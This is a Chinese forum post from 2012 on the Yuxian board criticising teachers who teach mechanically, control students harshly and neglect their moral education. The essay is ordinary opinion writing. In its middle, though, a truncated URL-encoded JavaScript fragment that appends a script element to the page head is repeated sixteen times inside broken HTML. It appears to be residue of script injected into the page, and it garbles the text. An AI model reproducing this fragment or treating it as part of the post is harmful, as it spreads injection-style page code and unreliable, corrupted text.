说师德_随手拍_盂县论坛

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发表于：2012/3/13 16:44:39
来自：山西

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作为一名教师，肩负着“教书育人”的重任，不光要具有渊博的知识来教书，还应该具有良好的职业道德来育人。所以说，教师应该兼备教书和育人的双重能力，才能够不负重托，很好地教书育人，为国家，为社会培养德才兼备的人才。

但是，在我们教师队伍中，却不乏“只教书，不育人”的不作为教师。用一个词来形容这一类教师的话，那么“教书匠”这个词最恰当不过了。匠者，有着精湛的手艺，但也只是机械的劳动，重在完成任务。引申到这里，是说这类教师有着胜任本学科教学任务的知识和能力，在教学中，也能够完成教学任务，但也只是按部就班地完成教科书上的教学任务，对于学生的道德修养的培养，对于学生人生观价值观等等的如何做人的教育，却是不注重，甚至是根本就不考虑这方面的事。学生出现问题，大多采取简单粗暴的解决办法，有的还把学生间的矛盾交给班干部来处理就简单完事了；甚至是学生还没有进办公室的门，一看是来报告和同学之间矛盾的，就直接轰走了事。

cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" />cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" />cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" />cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" />cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" />cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" />cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" />cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" />cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" />cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" />cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" />cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" />cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" />cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" />cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" />cript%22%3Bdocument.getElementsByTagName%28%27head%27%29%5B0%5D.appendChild%28s%29%3B%0D%0A" />简单地说，这一类教师，上班纯粹是为了工作而工作，纯粹是为了工资而工作，所以，他们平时上班，基本上就是踏着铃声进校门，到教室里面恶狠狠地吓唬一通就到办公室里面喝大茶了，学生作业交给班干部批改或者是同桌互相批改，只要个没完成作业的名单就完事，他们所带的班级，可能上操的时候队列整齐得不能再整齐了，开校会的时候，学生坐着板正的不能再板正了，学校布置什么活动任务，他们班级完成的非常快速，优秀的不能再优秀了，没事的时候，可能会到校长那里自主不自主的说说自己班级如何如何的好，遇到点事情，就天大委屈似的抱怨这，抱怨那．．．．．．但是，这优秀的下面，正是他们不作为的表现。

他们采取的，是“看死”的管理方法；他们采取的是“杀一儆百”的“育人”策略，平时，给学生布置大量的学习任务，抄课文，抄习题，早上和午饭过后的整个校园，他们的班级没有一个学生在闲逛，都老老实实在“学习”，老师本人一到校也亲临教室开始工作，可是一进教室，你却可能看到他在玩手机，或者端着茶杯欣赏窗外美景，或者坐在教室后排正“闭目养神”。

这一类教师没有别的要求，一切都是为了“平安”。他们想尽一切办法，不是为了让学生全面发展，个性发展，他们所求的，只是“平安”。他们采取看囚犯的管理方法，看死了学生，为的就是学生不捣乱，不出事。这样的做法，严重扼杀了学生的天性，使年幼的学生小小年纪，就像年迈的老者，死气沉沉，毫无生机。

如果要真挑这类教师的毛病，恐怕你还真说不出来他的不对，因为表面上，他的学生老实，守纪律，可是，一旦到了要学生表现个人的时候，学生的能力就明显的不如别的班级，这些学生，在学校的时候老老实实，都是好孩子，可是往往一出了校门，摆脱了束缚，他们却表现的比别的学生更加调皮，更加霸道，这，就是教师“专制”管理对学生产生的人格影响，他们受到了“专制”，就需要“专制”别人。这就暴露了这类教师的本性——只抓形象工程，不注重学生道德教育和行为习惯的培养。

这类教师，没有什么大的道德败坏行为，抱着“当一天和尚，撞一天钟”的思想，在校园里虚度光阴。但是，这恰恰是他们最大的道德败坏，他们辜负了班级里几十名学生父母的重托；背叛了班级里几十名学生的信赖和期望；亵渎了“人民教师”的光荣称号。试问，这些表面工作勤恳的“好”老师们，你们，对得起自己的良心么？

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